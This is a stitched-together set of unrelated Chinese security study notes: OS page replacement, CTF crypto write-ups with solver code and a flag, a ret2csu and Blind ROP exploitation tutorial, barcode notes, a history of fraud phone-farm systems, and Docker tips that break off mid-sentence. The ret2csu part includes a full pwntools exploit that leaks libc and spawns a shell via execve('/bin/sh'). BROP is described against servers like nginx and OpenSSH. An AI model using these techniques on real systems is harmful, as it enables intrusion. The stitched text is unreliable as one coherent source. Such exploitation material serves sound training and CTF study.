LRU,需要在内存中维护一个所有页面的链表。当一个页面被访问时,将这个页面移到链表表头。这样就能保证链表表尾的页面是最近最久未访问的。 因为每次访问都需要更新链表,因此这种方式实现的 LRU 代价很高。 ```html 4,7,0,7,1,0,1,2,1,2,6 ``` <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/eb859228-c0f2-4bce-910d-d9f76929352b.png"/> </div><br> ### 3. 最近未使用 > NRU, Not Recently Used 每个页面都有两个状态位:R 与 M,当页面被访问时设置页面的 R=1,当页面被修改时设置 M=1。其中 R 位会定时被清零。可以将页面分成以下四类: - R=0,M=0 - R=0,M=1 - R=1,M=0 - R=1,M=1 当发生缺页中断时,NRU 算法随机地从类编号最小的非空类中挑选一个页面将它换出。 NRU 优先换出已经被修改的脏页面(R=0,M=1),而不是被频繁使用的干净页面(R=1,M=0)。 ### 4. 先进先出 > FIFO, First In First Out 选择换出的页面是最先进入的页面。 该算法会将那些经常被访问的页面换出,导致缺页率升高。 ### 5. 第二次机会算法 FIFO 算法可能会把经常使用的页面置换出去,为了避免这一问题,对该算法做一个简单的修改: 当页面被访问 (读或写) 时设置该页面的 R 位为 1。需要替换的时候,检查最老页面的 R 位。如果 R 位是 0,那么这个页面既老又没有被使用,可以立刻置换掉;如果是 1,就将 R 位清 0,并把该页面放到链表的尾端,修改它的装入时间使它就像刚装入的一样,然后继续从链表的头部开始搜索。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ecf8ad5d-5403-48b9-b6e7-f2e20ffe8fca.png"/> </div><br> ### 6. 时钟 > Clock 第二次机会算法需要在链表中移动页面,降低了效率。时钟算法使用环形链表将页面连接起来,再使用一个指针指向最老的页面。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/5f5ef0b6-98ea-497c-a007-f6c55288eab1.png"/> </div><br> ## 分段 虚拟内存采用的是分页技术,也就是将地址空间划分成固定大小的页,每一页再与内存进行映射。 下图为一个编译器在编译过程中建立的多个表,有 4 个表是动态增长的,如果使用分页系统的一维地址空间,动态增长的特点会导致覆盖问题的出现。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/22de0538-7c6e-4365-bd3b-8ce3c5900216.png"/> </div><br> 分段的做法是把每个表分成段,一个段构成一个独立的地址空间。每个段的长度可以不同,并且可以动态增长。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e0900bb2-220a-43b7-9aa9-1d5cd55ff56e.png"/> </div><br> ## 段页式 程序的地址空间划分成多个拥有独立地址空间的段,每个段上的地址空间划分成大小相同的页。这样既拥有分段系统的共享和保护,又拥有分页系统的虚拟内存功能。 ## 分页与分段的比较 - 对程序员的透明性:分页透明,但是分段需要程序员显式划分每个段。 - 地址空间的维度:分页是一维地址空间,分段是二维的。 - 大小是否可以改变:页的大小不可变,段的大小可以动态改变。 - 出现的原因:分页主要用于实现虚拟内存,从而获得更大的地址空间;分段主要是为了使程序和数据可以被划分为逻辑上独立的地址空间并且有助于共享和保护。
sec-knowleage
##Repeating xor (Crypto, 400p) After entring the luxurious condomium,you get the feel that you are in home of a yester Star. the extravagant flooring and furnishings shows the richness of this star. But where is she? There she is, lying peacefuly on her couch. See what Envy has done to her...with a perfectly well maintained attractive body she still looks sex diva, except for her face beyond recogniton. Her identity is crucial to know who killed her and why? In absence of any personal data around there is only a file. with a cryptic text in it. Preity sure she has used her own name to XOR encrypt the file. And challenge is to know her name. ###PL [ENG](#eng-version) ###ENG version
sec-knowleage
import gmpy2 from Crypto.PublicKey import RSA from crypto_commons.generic import bytes_to_long, long_to_bytes from crypto_commons.rsa.rsa_commons import modinv def solve(ct, e, n, padding_len): new_ct = ct * pow(modinv(256, n) ** padding_len, e, n) new_ct %= n for i in range(256): potential_pt, is_cube = gmpy2.iroot(new_ct + (n * i), e) if is_cube: print(i, long_to_bytes(potential_pt)) def main(): flag_size = len(open("aes.enc", 'rb').read()) key = RSA.importKey(open('pubkey.txt', 'rb').read()) ct = open("rsa.enc", 'rb').read() solve(bytes_to_long(ct), key.e, key.n, 128 - flag_size) main()
sec-knowleage
### ret2csu原理 在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别) ```asm .text:00000000004005C0 ; void _libc_csu_init(void) .text:00000000004005C0 public __libc_csu_init .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o .text:00000000004005C0 push r15 .text:00000000004005C2 push r14 .text:00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13 .text:00000000004005C9 push r12 .text:00000000004005CB lea r12, __frame_dummy_init_array_entry .text:00000000004005D2 push rbp .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005DA push rbx .text:00000000004005DB mov r14, rsi .text:00000000004005DE mov r13, rdx .text:00000000004005E1 sub rbp, r12 .text:00000000004005E4 sub rsp, 8 .text:00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc .text:00000000004005F1 test rbp, rbp .text:00000000004005F4 jz short loc_400616 .text:00000000004005F6 xor ebx, ebx .text:00000000004005F8 nop dword ptr [rax+rax+00000000h] .text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 __libc_csu_init endp ``` 这里我们可以利用以下几点 - 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。 - 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx,将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,**但其实此时 rdi 的高 32 位寄存器值为 0(自行调试)**,所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。 - 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。 ### ret2csu示例 这里我们以蒸米的一步一步学 ROP 之 linux_x64 篇中 level5 为例进行介绍。首先检查程序的安全保护 ```shell ➜ ret2__libc_csu_init git:(iromise) ✗ checksec level5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 程序为 64 位,开启了堆栈不可执行保护。 其次,寻找程序的漏洞,可以看出程序中有一个简单的栈溢出 ```c ssize_t vulnerable_function() { char buf; // [sp+0h] [bp-80h]@1 return read(0, &buf, 0x200uLL); } ``` 简单浏览下程序,发现程序中既没有 system 函数地址,也没有 /bin/sh 字符串,所以两者都需要我们自己去构造了。 **注:这里我尝试在我本机使用 system 函数来获取 shell 失败了,应该是环境变量的问题,所以这里使用的是execve 来获取 shell。** 基本利用思路如下 - 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数 - 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址 - 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行main 函数。 - 再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。 exp 如下 ```python from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' level5 = ELF('./level5') sh = process('./level5') write_got = level5.got['write'] read_got = level5.got['read'] main_addr = level5.symbols['main'] bss_base = level5.bss() csu_front_addr = 0x0000000000400600 csu_end_addr = 0x000000000040061A fakeebp = 'b' * 8 def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 payload = 'a' * 0x80 + fakeebp payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 payload += p64(last) sh.send(payload) sleep(1) sh.recvuntil('Hello, World\n') ## RDI, RSI, RDX, RCX, R8, R9, more on the stack ## write(1,write_got,8) csu(0, 1, write_got, 8, write_got, 1, main_addr) write_addr = u64(sh.recv(8)) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') execve_addr = libc_base + libc.dump('execve') log.success('execve_addr ' + hex(execve_addr)) ##gdb.attach(sh) ## read(0,bss_base,16) ## read execve_addr and /bin/sh\x00 sh.recvuntil('Hello, World\n') csu(0, 1, read_got, 16, bss_base, 0, main_addr) sh.send(p64(execve_addr) + '/bin/sh\x00') sh.recvuntil('Hello, World\n') ## execve(bss_base+8) csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr) sh.interactive() ``` ### 关于ret2csu的改进 在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候,我们该怎么有什么办法呢?下面给出了几个方法 ##### 改进1 - 提前控制 rbx 与 rbp 可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要112。 ##### 改进2-多次利用 其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件 - 漏洞可以被多次触发 - 在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。 **当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。** #### gadget 其实,除了上述这个gadgets,gcc默认还会编译进去一些其它的函数 ```text _init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _fini ``` 我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。 需要一说的是,在上面的 libc_csu_init 中我们主要利用了以下寄存器 - 利用尾部代码控制了rbx,rbp,r12,r13,r14,r15。 - 利用中间部分的代码控制了rdx,rsi,edi。 而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,**可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在0x0000000000400621 处可以控制 rsi寄存器。**而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。如下。 ```asm gef➤ x/5i 0x000000000040061A 0x40061a <__libc_csu_init+90>: pop rbx 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 gef➤ x/5i 0x000000000040061b 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 gef➤ x/5i 0x000000000040061A+3 0x40061d <__libc_csu_init+93>: pop rsp 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret gef➤ x/5i 0x000000000040061e 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x000000000040061f 0x40061f <__libc_csu_init+95>: pop rbp 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x0000000000400620 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop 0x400626: nop WORD PTR cs:[rax+rax*1+0x0] gef➤ x/5i 0x0000000000400621 0x400621 <__libc_csu_init+97>: pop rsi 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x000000000040061A+9 0x400623 <__libc_csu_init+99>: pop rdi 0x400624 <__libc_csu_init+100>: ret 0x400625: nop 0x400626: nop WORD PTR cs:[rax+rax*1+0x0] 0x400630 <__libc_csu_fini>: repz ret ``` ### ret2reg原理 1. 查看溢出函返回时哪个寄存值指向溢出缓冲区空间 2. 然后反编译二进制,查找 call reg 或者jmp reg指令,将 EIP 设置为该指令地址 3. reg所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的) ### BROP基本介绍 BROP(Blind ROP)于2014年由Standford的Andrea Bittau提出,其相关研究成果发表在Oakland 2014,其论文题目是**Hacking Blind**,下面是作者对应的paper和slides,以及作者相应的介绍 - [paper](http://www.scs.stanford.edu/brop/bittau-brop.pdf) - [slide](http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf) BROP是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。 ### BROP攻击条件 1. 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。 2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有ASLR保护,但是其只是在程序最初启动的时候有效果)。目前nginx, MySQL, Apache, OpenSSH等服务器应用都是符合这种特性的。 ### BROP攻击原理 目前,大部分应用都会开启ASLR、NX、Canary保护。这里我们分别讲解在BROP中如何绕过这些保护,以及如何进行攻击。 ### BROP攻击基本思路 在BROP中,基本的遵循的思路如下 - 判断栈溢出长度 - 暴力枚举 - Stack Reading - 获取栈上的数据来泄露canaries,以及ebp和返回地址。 - Blind ROP - 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及puts函数。 - Build the exploit - 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。 #### 栈溢出长度 直接从1暴力枚举即可,直到发现程序崩溃。 #### Stack Reading 如下所示,这是目前经典的栈布局 ``` buffer|canary|saved fame pointer|saved returned address ``` 要向得到canary以及之后的变量,我们需要解决第一个问题,如何得到overflow的长度,这个可以通过不断尝试来获取。 其次,关于canary以及后面的变量,所采用的的方法一致,这里我们以canary为例。 canary本身可以通过爆破来获取,但是如果只是愚蠢地枚举所有的数值的话,显然是低效的。 需要注意的是,攻击条件2表明了程序本身并不会因为crash有变化,所以每次的canary等值都是一样的。所以我们可以按照字节进行爆破。正如论文中所展示的,每个字节最多有256种可能,所以在32位的情况下,我们最多需要爆破1024次,64位最多爆破2048次。 #### Blind ROP ##### 基本思路 最朴素的执行write函数的方法就是构造系统调用。 ```asm pop rdi; ret # socket pop rsi; ret # buffer pop rdx; ret # length pop rax; ret # write syscall number syscall ``` 但通常来说,这样的方法都是比较困难的,因为想要找到一个syscall的地址基本不可能。。。我们可以通过转换为找write的方式来获取。 ###### BROP gadgets 首先,在libc_csu_init的结尾一长串的gadgets,我们可以通过偏移来获取write函数调用的前两个参数。 ###### find a call write 我们可以通过plt表来获取write的地址。 ###### control rdx 需要注意的是,rdx只是我们用来输出程序字节长度的变量,只要不为0即可。一般来说程序中的rdx经常性会不是零。但是为了更好地控制程序输出,我们仍然尽量可以控制这个值。但是,在程序 ```asm pop rdx; ret ``` 这样的指令几乎没有。那么,我们该如何控制rdx的数值呢?这里需要说明执行strcmp的时候,rdx会被设置为将要被比较的字符串的长度,所以我们可以找到strcmp函数,从而来控制rdx。 那么接下来的问题,我们就可以分为两项 - 寻找gadgets - 寻找PLT表 - write入口 - strcmp入口 ##### 寻找gadgets 首先,我们来想办法寻找gadgets。此时,由于尚未知道程序具体长什么样,所以我们只能通过简单的控制程序的返回地址为自己设置的值,从而而来猜测相应的gadgets。而当我们控制程序的返回地址时,一般有以下几种情况 - 程序直接崩溃 - 程序运行一段时间后崩溃 - 程序一直运行而并不崩溃 为了寻找合理的gadgets,我们可以分为以下两步 ###### 寻找stop gadgets 所谓`stop gadget`一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。 > 其实stop gadget也并不一定得是上面的样子,其根本的目的在于告诉攻击者,所测试的返回地址是一个gadgets。 之所以要寻找stop gadgets,是因为当我们猜到某个gadgtes后,如果我们仅仅是将其布置在栈上,由于执行完这个gadget之后,程序还会跳到栈上的下一个地址。如果该地址是非法地址,那么程序就会crash。这样的话,在攻击者看来程序只是单纯的crash了。因此,攻击者就会认为在这个过程中并没有执行到任何的`useful gadget`,从而放弃它。例子如下图 但是,如果我们布置了`stop gadget`,那么对于我们所要尝试的每一个地址,如果它是一个gadget的话,那么程序不会崩溃。接下来,就是去想办法识别这些gadget。 ###### 识别 gadgets 那么,我们该如何识别这些gadgets呢?我们可以通过栈布局以及程序的行为来进行识别。为了更加容易地进行介绍,这里定义栈上的三种地址 - **Probe** - 探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不济,就可能是程序是32位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。 - **Stop** - 不会使得程序崩溃的stop gadget的地址。 - **Trap** - 可以导致程序崩溃的地址 我们可以通过在栈上摆放不同顺序的**Stop**与 **Trap**从而来识别出正在执行的指令。因为执行Stop意味着程序不会崩溃,执行Trap意味着程序会立即崩溃。这里给出几个例子 - probe,stop,traps(traps,traps,...) - 我们通过程序崩溃与否(**如果程序在probe处直接崩溃怎么判断**)可以找到不会对栈进行pop操作的gadget,如 - ret - xor eax,eax; ret - probe,trap,stop,traps - 我们可以通过这样的布局找到只是弹出一个栈变量的gadget。如 - pop rax; ret - pop rdi; ret - probe, trap, trap, trap, trap, trap, trap, stop, traps - 我们可以通过这样的布局来找到弹出6个栈变量的gadget,也就是与brop gadget相似的gadget。**这里感觉原文是有问题的,比如说如果遇到了只是pop一个栈变量的地址,其实也是不会崩溃的,,**这里一般来说会遇到两处比较有意思的地方 - plt处不会崩,, - _start处不会崩,相当于程序重新执行。 之所以要在每个布局的后面都放上trap,是为了能够识别出,当我们的probe处对应的地址执行的指令跳过了stop,程序立马崩溃的行为。 但是,即使是这样,我们仍然难以识别出正在执行的gadget到底是在对哪个寄存器进行操作。 但是,需要注意的是向BROP这样的一下子弹出6个寄存器的gadgets,程序中并不经常出现。所以,如果我们发现了这样的gadgets,那么,有很大的可能性,这个gadgets就是brop gadgets。此外,这个gadgets通过错位还可以生成pop rsp等这样的gadgets,可以使得程序崩溃也可以作为识别这个gadgets的标志。 此外,根据我们之前学的ret2libc_csu_init可以知道该地址减去0x1a就会得到其上一个gadgets。可以供我们调用其它函数。 需要注意的是probe可能是一个stop gadget,我们得去检查一下,怎么检查呢?我们只需要让后面所有的内容变为trap地址即可。因为如果是stop gadget的话,程序会正常执行,否则就会崩溃。看起来似乎很有意思. ##### 寻找PLT 如下图所示,程序的plt表具有比较规整的结构,每一个plt表项都是16字节。而且,在每一个表项的6字节偏移处,是该表项对应的函数的解析路径,即程序最初执行该函数的时候,会执行该路径对函数的got地址进行解析。 此外,对于大多数plt调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。所以说,如果我们发现了一系列的长度为16的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了plt表。除此之外,我们还可以通过前后偏移6字节,来判断我们是处于plt表项中间还是说处于开头。 ##### 控制rdx 当我们找到plt表之后,下面,我们就该想办法来控制rdx的数值了,那么该如何确认strcmp的位置呢?需要提前说的是,并不是所有的程序都会调用strcmp函数,所以在没有调用strcmp函数的情况下,我们就得利用其它方式来控制rdx的值了。这里给出程序中使用strcmp函数的情况。 之前,我们已经找到了brop的gadgets,所以我们可以控制函数的前两个参数了。与此同时,我们定义以下两种地址 - readable,可读的地址。 - bad, 非法地址,不可访问,比如说0x0。 那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况 - strcmp(bad,bad) - strcmp(bad,readable) - strcmp(readable,bad) - strcmp(readable,readable) 只有最后一种格式,程序才会正常执行。 **注**:在没有PIE保护的时候,64位程序的ELF文件的0x400000处有7个非零字节。 那么我们该如何具体地去做呢?有一种比较直接的方法就是从头到尾依次扫描每个plt表项,但是这个却比较麻烦。我们可以选择如下的一种方法 - 利用plt表项的慢路径 - 并且利用下一个表项的慢路径的地址来覆盖返回地址 这样,我们就不用来回控制相应的变量了。 当然,我们也可能碰巧找到strncmp或者strcasecmp函数,它们具有和strcmp一样的效果。 ##### 寻找输出函数 寻找输出函数既可以寻找write,也可以寻找puts。一般现先找puts函数。不过这里为了介绍方便,先介绍如何寻找write。 ###### 寻找write@plt 当我们可以控制write函数的三个参数的时候,我们就可以再次遍历所有的plt表,根据write函数将会输出内容来找到对应的函数。需要注意的是,这里有个比较麻烦的地方在于我们需要找到文件描述符的值。一般情况下,我们有两种方法来找到这个值 - 使用rop chain,同时使得每个rop对应的文件描述符不一样 - 同时打开多个连接,并且我们使用相对较高的数值来试一试。 需要注意的是 - linux默认情况下,一个进程最多只能打开1024个文件描述符。 - posix标准每次申请的文件描述符数值总是当前最小可用数值。 当然,我们也可以选择寻找puts函数。 ###### 寻找puts@plt 寻找puts函数(这里我们寻找的是 plt),我们自然需要控制rdi参数,在上面,我们已经找到了brop gadget。那么,我们根据brop gadget偏移9可以得到相应的gadgets(由ret2libc_csu_init中后续可得)。同时在程序还没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为\x7fELF。所以我们可以根据这个来进行判断。一般来说,其payload如下 ``` payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget) ``` #### 攻击总结 此时,攻击者已经可以控制输出函数了,那么攻击者就可以输出.text段更多的内容以便于来找到更多合适gadgets。同时,攻击者还可以找到一些其它函数,如dup2或者execve函数。一般来说,攻击者此时会去做下事情 - 将socket输出重定向到输入输出 - 寻找“/bin/sh”的地址。一般来说,最好是找到一块可写的内存,利用write函数将这个字符串写到相应的地址。 - 执行execve获取shell,获取execve不一定在plt表中,此时攻击者就需要想办法执行系统调用了。
sec-knowleage
### 现实世界中常用的编码 现实世界中常用的编码包括条形码、二维码等编码形式。 ### 条形码介绍 - 宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符 - 国际标准 - EAN-13 商品标准,13 位数字 - Code-39:39 字符 - Code-128:128 字符 - [条形码在线识别](https://online-barcode-reader.inliteresearch.com/) ### 二维码介绍 - 用某种特定几何图形按一定规律在平面分步的黑白相间的图形记录数据符号信息 - 堆叠式 / 行排式二维码:Code 16 k、Code 49、PDF417 - 矩阵式二维码:QR CODE
sec-knowleage
# Diffie-Hellman 1 (crypto 300) ###ENG [PL](#pl-version) In the task we want to generate a shared secret via Diffie Hellman protocol. We have 3 participants, but we know all the parameters only for 2 of them. We are given: ``` p = 8986158661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251 g = 6 gc = 5361617800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617 # g^c mod p a = 230 b = 250 ``` So we know the secret values for participants `a` and `b` but for participant `c` we know only the public part of his secret - `g^c mod p`. Forunately this is all we need to establish the shared key. After all this is how it's done in real life - everyone gets only this public secret. The shared secret is simply `g^abc mod p`, and for this we don't need `c` if we already have `g^c mod p`: ```python secret = pow(pow(gc, a, p), b, p) ``` And the first 20 characters are the flag: ```38058349620867258480``` ###PL version W zadaniu chcemy wygenerować wspólny klucz za pomocą protokołu Diffiego Hellmana. Mamy 3 uczestników ale znamy wszystkie parametry tylko dla 2 z nich. Znamy: ``` p = 8986158661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251 g = 6 gc = 5361617800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617 # g^c mod p a = 230 b = 250 ``` Więc mamy sekretne wartości dla uczestników `a` oraz `b` ale dla `c` znamy tylko publiczną cześć jego sekretu - `g^c mod p`. Szczęśliwie to jest wszystko co potrzebujemy aby ustanowić wspólny klucz. Generalnie tak przebiega to w prawdziwym życiu - każdy inny uczestnik zna tylko publiczny sekret. Wspólny sekret to po prostu: `g^abc mod p`, a do tego nie potrzeba nam wartości `c` jeśli znamy już `g^c mod p`: ```python secret = pow(pow(gc, a, p), b, p) ``` I pierwsze 20 znaków daje flage: ```38058349620867258480```
sec-knowleage
# 群控相关 群控本质是属于对设备资源的集中管控,具有提高设备资源管控效率,降低总体设备资源成本的优点。 群控的主要流程为:操作平台——群控服务器——设备池。 ## 1. 群控的发展 以下按照群控的发展过程进行介绍。 ### 1.1 一代群控 - 多开模拟器 一代群控主要是指**多开模拟器**,可以将一台越狱的iPhone或者安卓机模拟出多个对应的系统。由于风控系统对设备指纹的检查愈加严格,对这种传统的多开模拟还是能较好地进行识别。 ### 1.2 二代群控 - 群控墙 二代群控主要指通过脚本和改机工具,对数量众多的真机进行批量操控,形成“群控墙”的形式。 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20201006235109.png" style="zoom:50%;" /> 图:群控墙[1] ### 1.3 三代群控 - 箱控 在这个阶段,为了进一步压缩群控系统的搭建成本,将真机中一些用不到的器件进行了去除,集成为箱式的群控系统,对设备进行批量操控。 ### 1.4 四代群控 - 真机云控 从这代开始,群控系统开始迈入SaaS模式,群控系统这一基础设施不再需要中下游的黑产团伙自行搭建,购买专门的群控服务即可租用到真实设备资源。 传统云控,主要是指在群控墙、箱控的基础上,使用平台系统远程进行操控的形式。此时的群控还是没有突破“真机”的限制。 ### 1.5 五代群控 - 新式云控 从这代云控开始,群控系统逐渐走向无真机的形式,使用云端**协议外挂**的方式,发送符合的数据包与服务器进行通讯,同样也能实现相应的业务操作,从而脱离的了真机设备的限制。并且,也正是由于这种云端的集成化,使得其能更好地结合一些改机工具,进行深度的作弊操作。 这种情况下,基于传统的设备资源指纹特征已经很难进行检测了,并且其作弊成本如果排除研发成本,已经非常低了。 ## References \[1] 《风控要略:互联网业务反欺诈之路》,马传雷
sec-knowleage
# Docker > 笔记大部分内容来自 [docker_practice](https://github.com/yeasy/docker_practice) ,仅做内容排版修改 > 部分内容由 [xidaner](https://github.com/xidaner) 提供,仅做部分内容排版修改 --- **常见报错** - Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? ```bash systemctl daemon-reload service docker restart ``` - docker timeout ```bash echo "nameserver 8.8.8.8" > /etc/resolv.conf sudo systemctl daemon-reload sudo systemctl restart docker ``` - 容器 "Exited (0)" 自动退出 - 有时镜像内置的执行命令无法正确执行,于是容器就 Exited 了 - 尝试在 docker run 命令最后加上或删除 /bin/bash 选项 --- ## 镜像 **镜像管理** ```bash docker search [keyword] # 搜索镜像 docker image ls # 查看已下载的镜像列表 docker image rm [docker_image_id] # 删除本地的 docker 镜像 ``` **镜像体积** docker image ls 标识的所占用空间和在 Docker Hub 上看到的镜像大小不同。 比如,ubuntu:18.04 镜像大小,显示是 63.3MB,但是在 Docker Hub 显示的却是 25.47 MB。这是因为 Docker Hub 中显示的体积是压缩后的体积。在镜像下载和上传过程中镜像是保持着压缩状态的,因此 Docker Hub 所显示的大小是网络传输中更关心的流量大小。而 docker image ls 显示的是镜像下载到本地后,展开的大小,准确说,是展开后的各层所占空间的总和,因为镜像到本地后,查看空间的时候,更关心的是本地磁盘空间占用的大小。 另外,docker image ls 列表中的镜像体积总和并非是所有镜像实际硬盘消耗。由于 Docker 镜像是多层存储结构,并且可以继承、复用,因此不同镜像可能会因为使用相同的基础镜像,从而拥有共同的层。由于 Docker 使用 Union FS,相同的层只需要保存一份即可,因此实际镜像硬盘占用空间很可能要比这个列表镜像大小的总和要小的多。 ```bash docker system df # 查看镜像、容器、数据卷所占用的空间 ``` **虚悬镜像** 镜像列表中,可能存在一个特殊的镜像,这个镜像既没有仓库名,也没有标签,均为 `<none>`。 这种镜像原本是有镜像名和标签的,比如原来为 mongo:3.2,随着官方镜像维护,发布了新版本后,重新 docker pull mongo:3.2 时,mongo:3.2 这个镜像名被转移到了新下载的镜像身上,而旧的镜像上的这个名称则被取消,从而成为了 <none>。除了 docker pull 可能导致这种情况,docker build 也同样可以导致这种现象。由于新旧镜像同名,旧镜像名称被取消,从而出现仓库名、标签均为 <none> 的镜像。这类无标签镜像也被称为 虚悬镜像(dangling 